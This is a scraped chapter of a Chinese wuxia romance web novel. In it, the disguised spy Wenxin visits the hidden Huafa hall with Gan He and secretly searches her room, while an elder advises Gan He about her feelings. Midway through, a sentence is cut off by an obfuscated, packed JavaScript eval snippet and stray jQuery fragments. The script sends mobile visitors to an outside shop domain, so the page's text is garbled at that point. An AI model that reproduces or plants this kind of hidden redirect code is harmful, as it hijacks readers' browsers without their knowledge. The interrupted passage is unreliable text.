文趣网 > 都市小说 > 刺客过家家GB(先婚后爱) > 24. 十全大补
    歇了一晚,文欣便紧紧跟着甘鹤出发了。

    去华发堂。

    去华发堂总舵。

    去与神龙帮南北相对的华发堂总舵。

    纵是文欣已在江湖上摸爬滚打了数年,也不禁有些恐惧。

    并非紧张。

    是恐惧!

    华发堂的总舵主「摩天先生」薛摩天可谓惊才绝艳,武功绝伦。传说他过目不忘,天赋过人,甚至能博人所长,自创武功。甘鹤在一家客栈为文欣切鱼时所用的七星剑法,便是他昔年一剑破七星,一招胜过华山七大高手时创就的。

    自己的伪装,真的能骗过这充满智慧的老先生吗?

    甘鹤似乎也发觉了文欣手中的汗,文欣总是容易变得湿漉漉的,甘鹤问文欣:“你瞧,杭州的园林,是不是格外干净?”

    文欣看着地面,一路走来,经过了好些民居、好些湖泊、好些园林,的确都干净极了、漂亮极了。

    “当然干净啦。”文欣微笑。

    文欣早便看到,这边的人儿似乎特别勤于洒扫庭除,常见有人扫地。

    正想着,就看到一位弯弓驼背的老丈正在仔仔细细地修剪草木。

    文欣感叹,好勤劳,这老爷子看起来已到了耄耋之年,看起来本该连剪刀都拿不动了,竟然还如此精心地爱护花草树木。

    “公孙老爷!”甘鹤笑着打招呼。

    佝偻老者笨拙地抬起头来,眼皮慢慢睁开,枯槁的细眼冒了光,嘴角使劲儿扬起:“原来是你啊!你回杭州啦!哈哈,真好,真好!”

    文欣虽不认得,却也如甘鹤一般点头、微笑、打招呼。

    经过公孙老爷身边时,他大笑几声,道:“哈哈,真是位漂亮姑娘唷!”

    “多谢老丈。”文欣羞赧地跟在甘鹤身后,又穿过了件月洞门,林便更雅,漏景朦胧,还有瀑布垂下,云雾缭绕,恍若仙境。

    “摩天居到了。”甘鹤淡淡道。

    “哦。”文欣道。

    “等等……”文欣跳了起来,“你说这里叫什么?”

    甘鹤道:“这里叫摩天居。”

    文欣道:“摩天居,顾名思义,是不是你师父住的地方?”

    甘鹤道:“是的。”

    文欣叫道:“你为什么不早告诉我?我是什么时候走进华发堂的?”

    “你一直在华发堂。”甘鹤道,“华发堂的剑客,平日都隐于民居之中,只不过做的事与常人不同。这些园林湖泊,便构成了华发堂。听说其中方位,还蕴含奇门遁甲之理。不过,这我就不懂啦。”

    文欣头上冷汗涔涔而下,不同于神龙帮宏伟的高楼,华发堂居然是无形的,居然是隐蔽在重重园林中的。

    “我怕早告诉你,你反而更不自在。”甘鹤学着师父的样子说道,“否则,岂不是浪费了这大好景致?”

    “好吧。这些园林的确很干净、很漂亮。”文欣满眼委屈,“可是甘鹤,你可要小心护着我。”

    “小心护着你?”甘鹤讶然,又安抚道,“这里有什么可担心的?你放心好了,我师父是个好人,他一定也会很喜欢你。”

    反正这段日子与甘鹤相处的愉快已经够多了,文欣提了一口气,就算被识破、就算被包起来扔出华发堂也值了!

    他已跟着甘鹤推门而入。

    然后,他的目光就已变成了一股难言的惊异。

    一个长身儒雅、朴素清瘦的中年男人正在房中下棋。

    他的长发垂下,半黑半白,看来实在已不算年轻了。

    可他的脸、他的身体都完全没有衰老的迹象,他的面容还是很英俊,他的手还是很稳定、很有力。

    文欣明白,这说明他的内功早已臻于化境。

    更奇的是,他在下棋。

    下的是象棋。

    一个人下。

    他一会儿动一颗红棋,一会儿动一颗黑棋。

    见到甘鹤进来,他沉思的脸上很快浮现出笑意:“鹤儿,你回来了。”

    甘鹤行礼道:“师父。近来可好?”

    “好,好,好。”薛摩天将甘鹤从上到下扫视一番,连说了三个好,便看见盈盈向他行礼的文欣。

    他连忙起身,丢下棋子,笑着来看文欣。

    文欣吃了一惊,以薛摩天的身份和地位,居然这样谦恭。

    面对着这南方武林的大人物,他还是决定先做出一副柔弱之态。他侧着小脸,怯生生道:“妾身文欣,奉家兄慕容陵光命,来华发堂,拜见薛先生。”

    薛摩天离近了看,半晌,又笑了:“好,好,好!”

    文欣坐在甘鹤房中,诧异未消。

    “怎么样?”甘鹤为文欣倒茶,“我师父还不错吧?他这次,一点儿都没有刁难你!我听说有些家长,就喜欢问东问西。”

    “他是一点儿都没有刁难我。”文欣喃喃道,“他分明什么话都没有问过我。”

    甘鹤笑道:“说明他对你很满意呢!他只有开心的时候,才会像刚才那样,连说三个好字。他从前教我练武时,可严厉得很!”

    甘鹤的话变多了,文欣也傻傻地笑起来,甘鹤在家里放松下来了。

    “我们就先住一起,好不好?”甘鹤拉着文欣的手,“华发堂每处居所,都隔着一段距离。你与我同房……不是!你与我住在一起,更安全些。你放心,我绝没有什么不轨之心!”

    文欣环顾一周,房子还不错,虽只有一张床,却大得很,二人躺下也不会相挤。反正甘鹤不行,他也笑了:“好呀,我们就一起玩吧。”

    “太好了。”甘鹤喜道,“你若是出去住,我还不放心呢。”

    文欣还在笑。

    “那你先休息一会儿,我再去和师父说说话。”甘鹤在门口冲文欣摆手。

    “好呀。”文欣甜甜地笑着,“快去快回哦。”

    看着甘鹤离去的身影,文欣心里却想着:“千万不要快去快回,最好是慢去慢回!”

    他立马起身,摸索。

    在甘鹤的房中摸索。

    他对甘鹤没有分毫敌意,但是对华发堂可不喜欢。能与甘鹤住在一起,真是天赐良机。一个人在外,可以将很多事情伪装起来,可是在家中起居的习惯却是很难改变的。

    他毕竟做了许久的暗探。

    从很多地方,他都能看出很多东西!

    华发堂主义子的房间,无疑便是华发堂秘密的关隘!

    关上窗,他的身影便在房间四处摇摆不止……

    甘鹤斗笠上的小花也摇摆不止。

    她的确想着快去快回,尤其是不想在路上耽误时间。

    可是见到公孙老爷质朴而实在的笑脸时,她的脚步还是完全慢了下来。

    公孙老爷的笑好像数年如此,他的人虽然已经如同老木般沟壑纵横,可是脸上仍然具备充满生机的颜色。

    方才回到自己住的鹤池时,甘鹤便明白,院子里一尘不染,一定还是公孙老爷悉心呵护的缘故。

    明明是华发堂的四大护法之一,公孙老爷似乎志只在些洒扫庭除、照顾大家的杂务上,连一点儿架子都没有。

    现在,他的手中正拿着一副颇为厚重的食盒,他的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17850637|209626||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人正与甘鹤打了个照面。

    二人之间不需要什么多余的礼节和寒暄,公孙老爷已很自然地开始说话,二人站在树影斑驳之下,就好像寻常人家阔别重逢的祖孙二人。

    公孙老爷道:“你辛苦了,甘鹤。年轻人好辛苦。”

    “不辛苦。”甘鹤苦笑,“我与文欣,这几日不过是游山玩水,哪有什么辛苦可言呢。”

    公孙老爷也笑道:“这么说来,你很喜欢她了?”

    “我……”甘鹤欲言又止,却说不出口。

    公孙老爷叹道:“只可惜,你们这桩婚事却是那神龙帮主要求的。”

    言外之意显然,这桩婚事并不仅仅是婚事而已,甘鹤想到许久之前师父跟她说过的话,慕容陵光表面上只愿与华发堂结秦晋之好,内里却颇想窥探华发堂的秘密、更想借华发堂之名壮大自己的声势。

    所以,她要做的,当然不仅仅是成为一个新郎。她本该揪出神龙帮恶女的丑恶行径,令邪恶的神龙帮颜面扫地。

    公孙老爷是不是也在提醒她?

    公孙老爷却道:“你还是多问问自己吧。”

    “多问问自己?”甘鹤怔了怔,公孙老爷并不常常说什么有深意的话。

    “你数年来只知练剑,一定抑制了自己其他很多的情绪。”公孙老爷道,“与别人谈情说爱,对你来说一定是一件完全没有接触过的事情。”

    甘鹤不否认。

    “所以,我的提议便是,多问问自己吧。”公孙老爷微笑道,“人生苦短,譬如朝露。若是这件事真的令你欢喜,无论如何,你便做下去,不用在意旁人的理由、旁人的看法。”

    甘鹤睁大了双眼,公孙老爷平常的话并不算太多、更不会太长,可是今日,他却语重心长地说出了这样一番话来。

    她忍不住问道:“那万一有一天,我不想做了呢?”

    “那就不去做好了呀。”公孙老爷的语声平静而亲和,他真的很久没有说过这么多话了。可是今日,他自己也忽而有一种了感觉——有些话总还是早该说了。

    “实在受教了。”甘鹤的眼中有感激之色,她的目光又落向公孙老爷手中的食盒。

    “这是十全大补汤,还有一干可口小菜。”公孙老爷道,“你在外辛苦奔波,实在很需要补补身子。”

    甘鹤眼中的感激之色更浓,她早已忘了家是怎样一种感觉,只有在华发堂的某些时刻才能勉强品味到些残缺的温暖。

    “本想着赶快给你送过去的,没想到你这么快便又要出门。”公孙老爷苦笑道,“是去找薛先生吧。唉,不错,你们之间,一定也还有很多话早就该说。至于这最为滋补的十全大补汤……我先送你府上?”

    “多谢公孙老爷,多谢。”甘鹤欣然道,“那真是再好不过,文欣正在我房中,她一定也很欢喜你去送好吃的。”

    “对了。”甘鹤顿了顿,恳求道,“文欣……怕生。您进去之前,一定请先敲一敲门。”

    她低下头,不由得想到文欣的脸庞,自己出了门,文欣会不会在自己房里调皮地东蹿西蹿,想找到些华发堂的秘密?让自己看见也就罢了,可是若令华发堂的其他人见到了,一定会令他们很难做,更会置文欣于险境。

    所以,她的目光和语声都变得很诚恳。

    “哈哈哈!”公孙老爷也顿了顿,失笑道,“甘鹤,你长大了!你看起来不再是一个孩子了。看起来,你是的的确确对那位姑娘很感兴趣。”

    “你放心吧!”他转身离去,挥着一只大手在空中敲门,“老头子一定会注意的!去找你师父吧!”